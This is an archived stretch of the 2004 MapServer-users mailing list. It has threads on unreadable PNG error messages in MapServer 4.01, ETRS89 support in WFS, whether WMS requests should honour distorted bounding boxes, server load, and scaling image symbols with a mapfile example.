R=1.0.0&REQUEST=feature_info&LAYERS=Topo,Grenze,Strassen,Staedtepunkte,Staed
tenamen&STYLES=default,default,default,default,default&SRS=EPSG:31493&BBOX=2
814061.782833395,5253088.015946961,3957426.454366242,6004441.94092474&WIDTH=
685&HEIGHT=450&FORMAT=png&TRANSPARENT=FALSE&FEATURE_COUNT=20&BGCOLOR=0xfffff
f&QUERY_LAYERS=Staedtepunkte&X=379&Y=277&INFO_FORMAT=text/html&EXCEPTIONS=ap
plication/vnd.ogc.se_xml

Best regards,

Christina

-----Urspr?ngliche Nachricht-----
Von: Tyler Mitchell [mailto:TMitchell at lignum.com]
Gesendet: Mittwoch, 7. Januar 2004 19:38
An: Christina Biakowski
Cc: Mapserver-Users at Lists. Gis. Umn. Edu
Betreff: Re: [Mapserver-users] MapServer 4.01 - unreadable error
messages









mapserver-users-admin at lists.gis.umn.edu wrote on 01/07/2004 04:33:54 AM:

> Dear list,
>
> we have upgraded (OS: FreeBSD) from MapServer 3.66 to 4.01. Running into
an
> error with the getfeatureInfo-request MapServer 4.01 returns the error
> message in binary code using "content-type image/png", like:
>
> Content-type: image/png ?PNG 
> IHDR????RlPLTE???U??~tIDATx??]p?y??????@??????xO9?K5????N?o?.>
> ???:?Y?9?? f??L?N35??8?? ?I?C??b? ?...
>
> With MapServer 3.66 we get "readable" error messages (Content-type:
> text/html).

Christina, is it possible for you to show us what the URL request was?  It
may also be helpful to post your .map file.  I'm wondering if it is
returning something like the mapserv executable.  Strange...  Are you using
php?





From bartvde at xs4all.nl  Thu Jan  8 00:55:49 2004
From: bartvde at xs4all.nl (Bart van den Eijnden)
Date: Thu, 08 Jan 2004 09:55:49 +0100
Subject: [Mapserver-users] WFS and ETRS89
Message-ID: <opr1f8fbkqmi5aim@localhost>

Hi list,

is it possible to have a Mapserver Web Feature Server operate on a 
shapefile which is in the ETRS89 coordinate system, and then have it 
generate GML with the X,Y,Z values?

I see there is currently no entry for ETRS89 in the EPSG file delivered 
with Mapserver (ETRS89 has afaik EPSG code 4346).

Is it just a matter of adding the parameters and then it will work?

<gml:Polygon srsName="EPSG:4346">
<gml:outerBoundaryIs>
<gml:LinearRing>
<gml:coordinates>
5.3314361111,51.7489638889,0.0 5.346075,51.7489694444,0.0 
5.3460722222,51.7537694444,0.0 5.3314305556,51.7537638889,0.0 
5.3314361111,51.7489638889,0.0
</gml:coordinates>
</gml:LinearRing>
</gml:outerBoundaryIs>
</gml:Polygon>

Best regards,
Bart


From ian at geography.leeds.ac.uk  Thu Jan  8 02:35:39 2004
From: ian at geography.leeds.ac.uk (Ian Turton)
Date: Thu, 08 Jan 2004 10:35:39 +0000
Subject: [Mapserver-users] WMS BBOX vs. Actual Bounds
In-Reply-To: <sffc1af3.066@co5.dnr.state.mn.us>
References: <sffc1af3.066@co5.dnr.state.mn.us>
Message-ID: <6.0.1.1.0.20040108103215.01ebfec0@geog.leeds.ac.uk>

At 14:42 07/01/2004 -0600, Steve Lime wrote:
>There's no way with pure WMS (that I know of) to get the computed bounds
>back other than by precomputing them to perfectly fit your requested
>image size. I've done that with a java digitizing client that took WMS
>images from MapServer and overlayed information from a seperate SDE/Java
>application. Worked fine. I've attached the simple map geometry class I
>used in that case, look at the fit method.
>
>Regarding bounds computation. MapServer gaurantees that the requested
>extent will fit in the image, so one of the dimensions will remain fixed
>while the other is expanded as necessary. The decision as to which to
>expand is based on how the extent is oriented (think portrait vs
>landscape) relative to the "shape" of the image. The idea is to minimize
>stuff outside the extent.

This is poor behaviour on the part of mapserver - it should return a map 
with the bounds requested and the size of image requested, at least when 
working in WMS mode.
This saves some heart ache for the client, though in general you want to 
request a set of bounds with the same aspect ratio as your image size. 
However, if you actually want the image distorted then mapserver breaks 
what you're trying to do.

Ian

Ian Turton, Director, Centre for Computational Geography, University of 
Leeds, Leeds, LS2 9JT
http://www.geog.leeds.ac.uk/people/i.turton http://www.ccg.leeds.ac.uk 
http://www.geotools.org
+44 (0) 113 343 3392 fax: +44 (0) 113 343 3308



From mweinelt at planiglobe.com  Thu Jan  8 02:46:26 2004
From: mweinelt at planiglobe.com (Martin Weinelt)
Date: Thu, 8 Jan 2004 11:46:26 +0100
Subject: [Mapserver-users] Perl polygon shapefile tiler
Message-ID: <200401081146.26044.mweinelt@planiglobe.com>

Dear List,

'Interpol' is a Perl script to tile polygon shapefiles using 
Sutherland-Hodgman clipping.
Resulting tiles are comparable to the tiles generated by VectorTileIndex 
Avenue script by Chip Hankley. Use tile4ms / shptree to make use of the tiles 
in a Mapserver application.

Sutherland-Hodgman clipping might leave 'unwanted' (degenerate) edges along a 
clip boundary when clipping concave polygons. I guess this is not actually a 
problem, since one would not want to draw outlines of tiled polygons in a  
UMN Mapserver application anyway. 

This first version of the script is at the Wiki: 
http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?InterPol

Cheers, Martin

-- 
 --- Martin Weinelt 
 --- kk+w - digital cartography 
 --- Kiel, Germany
 --- Tel: +49.431.5791165
 --- http://www.planiglobe.com 





From lists at atsence.nl  Thu Jan  8 02:53:11 2004
From: lists at atsence.nl (lists at atsence.nl)
Date: Thu, 8 Jan 2004 11:53:11 +0100
Subject: [Mapserver-users] scaling rasters like ttf's (gif, jpg etc)
Message-ID: <003401c3d5d5$9c73c910$0600a8c0@ATSENCEDOMEIN>

This is a multi-part message in MIME format.

------=_NextPart_000_0035_01C3D5DD.FE383110
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable

Hi all,

=20

I wonder if there is a way to scale gif's in a mapserver app. Like the a =
ttf
location marker with php mapscript.

=20

We generatie a gif that represents a graph from a point location (local
measurements.) We position the gif on the map by using (generating) an
accompanying .wld file.

However by using it this way it will not scale with the zoom factor.

Is there anohtee way to place the gif (png/jpeg that is not the problem) =
on
a map so that it will scale like the ttf markers?

=20

Best regards,

Bart=20

=20


------=_NextPart_000_0035_01C3D5DD.FE383110
Content-Type: text/html;
	charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable

<html>

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">


<meta name=3DGenerator content=3D"Microsoft Word 10 (filtered)">

<style>
<!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:11.0pt;
	font-family:"Times New Roman";}
p.MsoBodyText, li.MsoBodyText, div.MsoBodyText
	{margin-top:0cm;
	margin-right:0cm;
	margin-bottom:6.0pt;
	margin-left:0cm;
	font-size:11.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
p
	{margin-right:0cm;
	margin-left:0cm;
	font-size:12.0pt;
	font-family:"Times New Roman";}
p.Opmaakprofiel1, li.Opmaakprofiel1, div.Opmaakprofiel1
	{margin:0cm;
	margin-bottom:.0001pt;
	line-height:12.0pt;
	font-size:11.0pt;
	font-family:"Times New Roman";}
p.opmaakprofiel10, li.opmaakprofiel10, div.opmaakprofiel10
	{margin:0cm;
	margin-bottom:.0001pt;
	line-height:12.0pt;
	font-size:11.0pt;
	font-family:"Times New Roman";}
span.emailstijl19
	{font-family:Arial;
	color:windowtext;}
span.EmailStijl22
	{font-family:Arial;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:72.0pt 90.0pt 72.0pt 90.0pt;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=3DEN-GB link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DNL =
style=3D'font-size:10.0pt;
font-family:Arial'>Hi all,</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DNL =
style=3D'font-size:10.0pt;
font-family:Arial'> </span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DNL =
style=3D'font-size:10.0pt;
font-family:Arial'>I wonder if there is a way to scale gif’s in a =
mapserver
app. Like the a ttf location marker with php =
mapscript.</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DNL =
style=3D'font-size:10.0pt;
font-family:Arial'> </span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DNL =
style=3D'font-size:10.0pt;
font-family:Arial'>We generatie a gif that represents a graph from a =
point location
(local measurements.) We position the gif on the map by using =
(generating) an accompanying
.wld file.</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DNL =
style=3D'font-size:10.0pt;
font-family:Arial'>However by using it this way it will not scale with =
the zoom
factor.</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DNL =
style=3D'font-size:10.0pt;
font-family:Arial'>Is there anohtee way to place the gif (png/jpeg that =
is not
the problem) on a map so that it will scale like the ttf =
markers?</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DNL =
style=3D'font-size:10.0pt;
font-family:Arial'> </span></font></p>

<p><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial'>Best
regards,</span></font></p>

<p><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial'>Bart
</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Times New Roman"><span =
lang=3DNL
style=3D'font-size:11.0pt'> </span></font></p>

</div>

</body>

</html>

------=_NextPart_000_0035_01C3D5DD.FE383110--




From ed at topozone.com  Thu Jan  8 05:49:20 2004
From: ed at topozone.com (Ed McNierney)
Date: Thu, 8 Jan 2004 08:49:20 -0500
Subject: [Mapserver-users] Server load statistics
Message-ID: <13858AA1A74F30419F319ACB66A9D12203AFDF@mercator.topozone.com>

Palle -

Obviously the "server load" equation depends on a number of variables, not simply the number of maps (e.g. how large are the maps, what data sources are involved, how many layers, rendering options, reprojection on the fly, etc.)

However, TopoZone runs entirely on MapServer and certainly produces well over 3 million maps a month for ourselves and for our customers, including raster data, vector data, and many combinations of the two.

	- Ed 



Ed McNierney
President and Chief Mapmaker
TopoZone.com
ed at topozone.com


-----Original Message-----
From: Palle Due Larsen [mailto:palle at mail-online.dk] 
Sent: Thursday, January 08, 2004 3:40 AM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] Server load statistics

Hi,

I'm trying to access the potential of mapserver in terms of maps delivered per month. I am looking for references to sites that deliver in excess of 3 million maps per month. Do any of you run a site or know of a site like that using mapserver? I'm sure it possible, what I'm looking for are some references/links.

Best regards

Palle Due Larsen
Carl Bro GIS&IT

F? en gratis emailkonto her: www.mail-online.dk
-----------------------------------------------
Deltag i en lille konkurrence p? nettet, og vind et gavekort p? 50.000 kroner...
KLIK HER: www.nyhedsbasen.dk/konkurrence


_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users




From ed at topozone.com  Thu Jan  8 05:56:19 2004
From: ed at topozone.com (Ed McNierney)
Date: Thu, 8 Jan 2004 08:56:19 -0500
Subject: [Mapserver-users] WMS BBOX vs. Actual Bounds
Message-ID: <13858AA1A74F30419F319ACB66A9D12203AFE1@mercator.topozone.com>

Ian -

I can't agree that this is poor behavior.  MapServer should also be
expected to return a map in the PROJECTION requested, which is
impossible under your scheme.  In WMS mode the SRS is part of the
request and should be respected just as much as the WIDTH, HEIGHT, and
BBOX parameters, shouldn't it?

If you want the image "distorted", you're not looking for a map - you're
making a picture.  If you can define the distortion in a
cartographically accurate way (e.g. a picture), then it is indeed a map;
but you can also provide MapServer with the definition of that
projection and cause it to "distort" the image the way you want.

	- Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com
ed at topozone.com


-----Original Message-----
From: Ian Turton [mailto:ian at geography.leeds.ac.uk] 
Sent: Thursday, January 08, 2004 5:36 AM
To: Steve Lime; mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] WMS BBOX vs. Actual Bounds

At 14:42 07/01/2004 -0600, Steve Lime wrote:
>There's no way with pure WMS (that I know of) to get the computed 
>bounds back other than by precomputing them to perfectly fit your 
>requested image size. I've done that with a java digitizing client that

>took WMS images from MapServer and overlayed information from a 
>seperate SDE/Java application. Worked fine. I've attached the simple 
>map geometry class I used in that case, look at the fit method.
>
>Regarding bounds computation. MapServer gaurantees that the requested 
>extent will fit in the image, so one of the dimensions will remain 
>fixed while the other is expanded as necessary. The decision as to 
>which to expand is based on how the extent is oriented (think portrait 
>vs
>landscape) relative to the "shape" of the image. The idea is to 
>minimize stuff outside the extent.

This is poor behaviour on the part of mapserver - it should return a map
with the bounds requested and the size of image requested, at least when
working in WMS mode.
This saves some heart ache for the client, though in general you want to
request a set of bounds with the same aspect ratio as your image size. 
However, if you actually want the image distorted then mapserver breaks
what you're trying to do.

Ian

Ian Turton, Director, Centre for Computational Geography, University of 
Leeds, Leeds, LS2 9JT
http://www.geog.leeds.ac.uk/people/i.turton http://www.ccg.leeds.ac.uk 
http://www.geotools.org
+44 (0) 113 343 3392 fax: +44 (0) 113 343 3308

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users




From ian at geography.leeds.ac.uk  Thu Jan  8 06:10:03 2004
From: ian at geography.leeds.ac.uk (Ian Turton)
Date: Thu, 08 Jan 2004 14:10:03 +0000
Subject: [Mapserver-users] WMS BBOX vs. Actual Bounds
In-Reply-To: <13858AA1A74F30419F319ACB66A9D12203AFE1@mercator.topozone.c
 om>
References: <13858AA1A74F30419F319ACB66A9D12203AFE1@mercator.topozone.com>
Message-ID: <6.0.1.1.0.20040108140734.04a1ee80@geog.leeds.ac.uk>

At 08:56 08/01/2004 -0500, Ed McNierney wrote:
>Ian -
>
>I can't agree that this is poor behavior.  MapServer should also be
>expected to return a map in the PROJECTION requested, which is
>impossible under your scheme.  In WMS mode the SRS is part of the
>request and should be respected just as much as the WIDTH, HEIGHT, and
>BBOX parameters, shouldn't it?

Indeed - they are all important. However the WMS spec is very specific 
about how to handle this case and it says you must honour all the 
parameters. Otherwise people like the origianl poster are left not knowing 
what they got back.

>If you want the image "distorted", you're not looking for a map - you're
>making a picture.  If you can define the distortion in a
>cartographically accurate way (e.g. a picture), then it is indeed a map;
>but you can also provide MapServer with the definition of that
>projection and cause it to "distort" the image the way you want.

For example, suppose I'm displaying my picture/map on a display with non 
square pixels?

Ian

Ian Turton, Director, Centre for Computational Geography, University of 
Leeds, Leeds, LS2 9JT
http://www.geog.leeds.ac.uk/people/i.turton http://www.ccg.leeds.ac.uk 
http://www.geotools.org
+44 (0) 113 343 3392 fax: +44 (0) 113 343 3308



From ed at topozone.com  Thu Jan  8 06:20:51 2004
From: ed at topozone.com (Ed McNierney)
Date: Thu, 8 Jan 2004 09:20:51 -0500
Subject: [Mapserver-users] WMS BBOX vs. Actual Bounds
Message-ID: <13858AA1A74F30419F319ACB66A9D12203AFE2@mercator.topozone.com>

Ian -

How is it possible to honor all parameters when they are not consistent?
I certainly understand the need to deal with unusual output devices as
you describe, but it is not very difficult for the client to address
that situation.

	- Ed


Ed McNierney
President and Chief Mapmaker
TopoZone.com
ed at topozone.com


-----Original Message-----
From: Ian Turton [mailto:ian at geography.leeds.ac.uk] 
Sent: Thursday, January 08, 2004 9:10 AM
To: Ed McNierney; Ian Turton; Steve Lime;
mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] WMS BBOX vs. Actual Bounds

At 08:56 08/01/2004 -0500, Ed McNierney wrote:
>Ian -
>
>I can't agree that this is poor behavior.  MapServer should also be 
>expected to return a map in the PROJECTION requested, which is 
>impossible under your scheme.  In WMS mode the SRS is part of the 
>request and should be respected just as much as the WIDTH, HEIGHT, and 
>BBOX parameters, shouldn't it?

Indeed - they are all important. However the WMS spec is very specific
about how to handle this case and it says you must honour all the
parameters. Otherwise people like the origianl poster are left not
knowing what they got back.

>If you want the image "distorted", you're not looking for a map - 
>you're making a picture.  If you can define the distortion in a 
>cartographically accurate way (e.g. a picture), then it is indeed a 
>map; but you can also provide MapServer with the definition of that 
>projection and cause it to "distort" the image the way you want.

For example, suppose I'm displaying my picture/map on a display with non
square pixels?

Ian

Ian Turton, Director, Centre for Computational Geography, University of
Leeds, Leeds, LS2 9JT http://www.geog.leeds.ac.uk/people/i.turton
http://www.ccg.leeds.ac.uk http://www.geotools.org
+44 (0) 113 343 3392 fax: +44 (0) 113 343 3308





From spencer at dmsolutions.ca  Thu Jan  8 06:42:03 2004
From: spencer at dmsolutions.ca (Paul Spencer)
Date: Thu, 08 Jan 2004 09:42:03 -0500
Subject: [Mapserver-users] WMS BBOX vs. Actual Bounds
In-Reply-To: <6.0.1.1.0.20040108140734.04a1ee80@geog.leeds.ac.uk>
References: <13858AA1A74F30419F319ACB66A9D12203AFE1@mercator.topozone.com> <6.0.1.1.0.20040108140734.04a1ee80@geog.leeds.ac.uk>
Message-ID: <3FFD6C3B.308@magma.ca>

For the record, I believe that the ability to return a map with 
non-square pixels is one of the few areas (or the only one?) in which 
MapServer DOES NOT comply with the WMS specification and, in fact, 
prevents anyone from seeking WMS compliance certification for MapServer. 
  Note I am not expressing an opinion either way here ;)

Cheers,

Paul

Ian Turton wrote:

> At 08:56 08/01/2004 -0500, Ed McNierney wrote:
> 
>> Ian -
>>
>> I can't agree that this is poor behavior.  MapServer should also be
>> expected to return a map in the PROJECTION requested, which is
>> impossible under your scheme.  In WMS mode the SRS is part of the
>> request and should be respected just as much as the WIDTH, HEIGHT, and
>> BBOX parameters, shouldn't it?
> 
> 
> Indeed - they are all important. However the WMS spec is very specific 
> about how to handle this case and it says you must honour all the 
> parameters. Otherwise people like the origianl poster are left not 
> knowing what they got back.
> 
>> If you want the image "distorted", you're not looking for a map - you're
>> making a picture.  If you can define the distortion in a
>> cartographically accurate way (e.g. a picture), then it is indeed a map;
>> but you can also provide MapServer with the definition of that
>> projection and cause it to "distort" the image the way you want.
> 
> 
> For example, suppose I'm displaying my picture/map on a display with non 
> square pixels?
> 
> Ian
> 
> Ian Turton, Director, Centre for Computational Geography, University of 
> Leeds, Leeds, LS2 9JT
> http://www.geog.leeds.ac.uk/people/i.turton http://www.ccg.leeds.ac.uk 
> http://www.geotools.org
> +44 (0) 113 343 3392 fax: +44 (0) 113 343 3308
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 

-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------



From AArace at geonetics.com  Thu Jan  8 07:00:15 2004
From: AArace at geonetics.com (Andrew Arace)
Date: Thu, 08 Jan 2004 10:00:15 -0500
Subject: [Mapserver-users] Layer Status in Map File
Message-ID: <sffd2a37.089@ALUDRA.BSCGroup.com>

'Initializing' the map server by just sending a map=(path) CGI command
does not set the layers to the status defined in the .map file.
It seems to initialize the map (the first request) you must send a
minimum of map=(path)&layer=layer1&layer=layer2&...

So in other words, what is the point of the STATUS in the LAYER object
of the map file (aside from the DEFAULT, which is needed)

-Andrew

--
Andrew Arace
aarace at geonetics.com
Software Engineer
Geonetics, Inc
(617) 896 - 4409

Disclaimer Notice: This message contains confidential information and is intended only for the individual named. If you are not the named addressee you should not disseminate, distribute, or copy this e-mail. Please notify the sender immediately if you have received this e-mail by mistake and delete this e-mail from your system. E-mail transmission cannot be guaranteed to be secure or error free as information can be intercepted, corrupted, lost, destroyed, arrive late or incomplete, or contain viruses. The sender therefore does not accept liability for any errors or omissions in the contents of this message, which arise as a result of e-mail transmission. If verification is required please request a hard copy version. BSC Companies, Inc.; BSC Group, Inc.; Geonetics, Inc. 15 Elkins Street Boston, Massachusetts 02127 USA. www.BSCGroup.com. 
http://www.bscgroup.com/


From sgillies at frii.com  Thu Jan  8 07:10:30 2004
From: sgillies at frii.com (Sean Gillies)
Date: Thu, 8 Jan 2004 08:10:30 -0700
Subject: [Mapserver-users] scaling rasters like ttf's (gif, jpg etc)
In-Reply-To: <003401c3d5d5$9c73c910$0600a8c0@ATSENCEDOMEIN>
References: <003401c3d5d5$9c73c910$0600a8c0@ATSENCEDOMEIN>
Message-ID: <CC5A66A6-41EC-11D8-9622-000393B98B56@frii.com>

On Jan 8, 2004, at 3:53 AM, <lists at atsence.nl> wrote:

> Hi all,
>
> ?
>
> I wonder if there is a way to scale gif?s in a mapserver app. Like the 
> a ttf location marker with php mapscript.
>
> ?
>
> We generatie a gif that represents a graph from a point location 
> (local measurements.) We position the gif on the map by using 
> (generating) an accompanying ..wld file.
>
> However by using it this way it will not scale with the zoom factor.
>
> Is there anohtee way to place the gif (png/jpeg that is not the 
> problem) on a map so that it will scale like the ttf markers?
>
> ?
>
> Best regards,
>
> Bart
>
> ?

Bart,

Do I understand correctly that you have a point layer and want to use
an image as a symbol for the point?  Do something like this

...
SYMBOL
   NAME "symbol_point1"
   TYPE PIXMAP
   IMAGE path/to/generated/symbol.gif
END

LAYER
   NAME "point1"
   TYPE POINT
   FEATURE
     POINTS 100 100 END   # Replace with true coordinates
   END
   SYMBOLSCALE 100000 # Scale at which symbol appears at the size below
   CLASS
     STYLE
       SYMBOL "symbol_point1"
       SIZE 64 # This is the size at scale of 1:10,000
     END
     MINSIZE 32 # Smallest size symbol will be drawn
     MAXSIZE 128 # Largest size symbol will be drawn
   END
END
...

This might be difficult if you have many points.  I like your idea of
using the graph as a raster ... if the world file is correct, the
graph should zoom in and out just like the rest of the map.

Hope this helps,
Sean

--
Sean Gillies
sgillies at frii dot com
http://users.frii.com/sgillies



From thelen at ccgis.de  Thu Jan  8 07:15:01 2004
From: thelen at ccgis.de (thelen at ccgis.de)
Date: Thu, 8 Jan 2004 16:15:01 +0100 (CET)
Subject: [Mapserver-users] MapServer 4.01 - unreadable error messages
In-Reply-To: <NHEDJNHNEDNHBIJKFBOFMEFACDAA.christina.biakowski@ccgis.de>
References: <OFB0BC1F39.0EF7E64F-ON88256E14.0066330E-88256E14.00665EE5@lignum.com>
 <NHEDJNHNEDNHBIJKFBOFMEFACDAA.christina.biakowski@ccgis.de>
Message-ID: <1209.192.168.2.109.1073574901.squirrel@vogon.ccgis.de>

Hi all,

Actually according to the OGC specs mapserver should have used
"EXCEPTIONS=application/vnd.ogc.se_xml" as a default value if no other is
supplied. 3.6.x did, mapserver 4.x not. Is there a special reason for this
change?


Regards,
Benjamin



> We have solved the problem.
> We had a closer look at our request-URL and the OGC-Specs and added the
parameter "EXCEPTIONS=application/vnd.ogc.se_xml" (we did not use it
before
> because the OGC-Spec says that it is used as default-value) and now our
request looks like this and we get "readable" error-messages:
>
> http://192.168.2.90/cgi-bin/mapserv?map=/data/umn/germany_postgis1.map&WMTVE
R=1.0.0&REQUEST=feature_info&LAYERS=Topo,Grenze,Strassen,Staedtepunkte,Staed
tenamen&STYLES=default,default,default,default,default&SRS=EPSG:31493&BBOX=2
814061.782833395,5253088.015946961,3957426.454366242,6004441.94092474&WIDTH685&HEIGHT=450&FORMAT=png&TRANSPARENT=FALSE&FEATURE_COUNT=20&BGCOLOR=0xfffff
f&QUERY_LAYERS=Staedtepunkte&X=379&Y=277&INFO_FORMAT=text/html&EXCEPTIONS=ap
plication/vnd.ogc.se_xml
>
> Best regards,
>
> Christina
>
> -----Urspr?ngliche Nachricht-----
> Von: Tyler Mitchell [mailto:TMitchell at lignum.com]
> Gesendet: Mittwoch, 7. Januar 2004 19:38
> An: Christina Biakowski
> Cc: Mapserver-Users at Lists. Gis. Umn. Edu
> Betreff: Re: [Mapserver-users] MapServer 4.01 - unreadable error messages
>
>
>
>
>
>
>
>
>
> mapserver-users-admin at lists.gis.umn.edu wrote on 01/07/2004 04:33:54 AM:
>
>> Dear list,
>> we have upgraded (OS: FreeBSD) from MapServer 3.66 to 4.01. Running
into
> an
>> error with the getfeatureInfo-request MapServer 4.01 returns the error
message in binary code using "content-type image/png", like:
>> Content-type: image/png ?PNG 
>> IHDR????RlPLTE???U??~tIDATx??]p?y??????@??????xO9?K5????N?o?.>
???:?Y?9?? f??L?N35??8?? ?I?C??b? ?...
>> With MapServer 3.66 we get "readable" error messages (Content-type:
text/html).
>
> Christina, is it possible for you to show us what the URL request was?
It
> may also be helpful to post your .map file.  I'm wondering if it is
returning something like the mapserv executable.  Strange...  Are you
using
> php?
>
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>





From morissette at dmsolutions.ca  Thu Jan  8 07:37:36 2004
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Thu, 08 Jan 2004 10:37:36 -0500
Subject: [Mapserver-users] WMS BBOX vs. Actual Bounds
In-Reply-To: <13858AA1A74F30419F319ACB66A9D12203AFE2@mercator.topozone.com>
References: <13858AA1A74F30419F319ACB66A9D12203AFE2@mercator.topozone.com>
Message-ID: <3FFD7940.7090803@dmsolutions.ca>

Ed McNierney wrote:
> Ian -
> 
> How is it possible to honor all parameters when they are not consistent?
> I certainly understand the need to deal with unusual output devices as
> you describe, but it is not very difficult for the client to address
> that situation.
> 

I don't know if specifying a SRS+BBOX with a width/height ration that 
doesn't match the WIDTH/HEIGHT should be called consistent or not, but 
it is a valid request according to the specs.  While I would discourage 
the generation of such requests in general I can understand why it would 
be legitimate for some clients to request that, for instance if the 
device has non-square pixels. Unfortunately significant changes would be 
required to support that in MapServer, that's why we haven't done it yet.

Now, back to the original problem that was reported, if the client makes 
sure that the width/height in the BBOX matches the WIDTH/HEIGHT value in 
the GetMap request, then what they get is fully predictable.

Daniel
-- 
------------------------------------------------------------
  Daniel Morissette               morissette at dmsolutions.ca
  DM Solutions Group              http://www.dmsolutions.ca/
------------------------------------------------------------



From ian at geography.leeds.ac.uk  Thu Jan  8 07:55:37 2004
From: ian at geography.leeds.ac.uk (Ian Turton)
Date: Thu, 08 Jan 2004 15:55:37 +0000
Subject: [Mapserver-users] WMS BBOX vs. Actual Bounds
In-Reply-To: <13858AA1A74F30419F319ACB66A9D12203AFE2@mercator.topozone.c
 om>
References: <13858AA1A74F30419F319ACB66A9D12203AFE2@mercator.topozone.com>
Message-ID: <6.0.1.1.0.20040108155307.04698000@geog.leeds.ac.uk>

At 09:20 08/01/2004 -0500, Ed McNierney wrote:
>Ian -
>
>How is it possible to honor all parameters when they are not consistent?

You have different scales in the X and Y directions.

>I certainly understand the need to deal with unusual output devices as
>you describe, but it is not very difficult for the client to address
>that situation.

It is difficult for the client to deal with if it asks for the image to be 
distorted but the one it gets back isn't. Mapserver should respect the WMS 
spec on this point (at least in wms mode).

Ian

Ian Turton, Director, Centre for Computational Geography, University of 
Leeds, Leeds, LS2 9JT
http://www.geog.leeds.ac.uk/people/i.turton http://www.ccg.leeds.ac.uk 
http://www.geotools.org
+44 (0) 113 343 3392 fax: +44 (0) 113 343 3308



From morissette at dmsolutions.ca  Thu Jan  8 08:09:30 2004
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Thu, 08 Jan 2004 11:09:30 -0500
Subject: [Mapserver-users] MapServer 4.01 - unreadable error messages
In-Reply-To: <1209.192.168.2.109.1073574901.squirrel@vogon.ccgis.de>
References: <OFB0BC1F39.0EF7E64F-ON88256E14.0066330E-88256E14.00665EE5@lignum.com>      <NHEDJNHNEDNHBIJKFBOFMEFACDAA.christina.biakowski@ccgis.de> <1209.192.168.2.109.1073574901.squirrel@vogon.ccgis.de>
Message-ID: <3FFD80BA.2070304@dmsolutions.ca>

thelen at ccgis.de wrote:
> Hi all,
> 
> Actually according to the OGC specs mapserver should have used
> "EXCEPTIONS=application/vnd.ogc.se_xml" as a default value if no other is
> supplied. 3.6.x did, mapserver 4.x not. Is there a special reason for this
> change?
> 

Your request is for WMTVER=1.0.0, and in version 1.0.0, the default was 
to use INIMAGE, see table 6.3 of the (00-028) WMS 1.0.0 spec.

The default has changed to XML starting at version 1.0.1, and that's 
what is implemented in MapServer.

Daniel
-- 
------------------------------------------------------------
  Daniel Morissette               morissette at dmsolutions.ca
  DM Solutions Group              http://www.dmsolutions.ca/
------------------------------------------------------------



From ed at topozone.com  Thu Jan  8 08:46:39 2004
From: ed at topozone.com (Ed McNierney)
Date: Thu, 8 Jan 2004 11:46:39 -0500
Subject: [Mapserver-users] WMS BBOX vs. Actual Bounds
Message-ID: <13858AA1A74F30419F319ACB66A9D12203AFE3@mercator.topozone.com>

Ian -

If you have different scales in X and Y directions, the projection
should reflect that.  If the projection is not defined to have different
scales, then asking for different scales is not consistent.

If I ask for a 1,000-meter by 1,000-meter area in UTM projection in an
image that's 300 pixels by 200 pixels, it's not possible to do all
three.  If I keep the area 1,000x1,000 and stretch it to fit in 300x200
pixels, then the projection is no longer UTM.  If I keep the area
1,000x1,000 and the projection UTM, I have to modify the image size and
return something square - 300x300, for example.  If I keep the
projection UTM and the output image 300x200, then I have to modify the
map area to something 1.5:1 - 1,500x1,000 meters, for example.
MapServer, of course, chooses the last option, but I have a hard time
seeing how any one of the three choices is the "right" answer.

If you're creating output for a device with non-square pixels, it seems
that the way to handle that would be to provide an additional input
parameter to the WMS interface, describing the aspect ratio of the the
pixels.  This would still allow a client to make an inconsistent
request, but it would allow requests intended for non-square pixels to
be made consistent with the specified projection.

However, you are absolutely correct that this is NOT how the WMS
specification handles it.  The specification does require the server to
stretch the image to fit the box, thereby presuming that any
inconsistency in the request is due to a careful client requesting an
image for non-square pixels, rather than an error.

I suppose support for non-rectangular pixels can be left for another
discussion <g>.

	- Ed

Ed McNierney
President and Chief Mapmaker
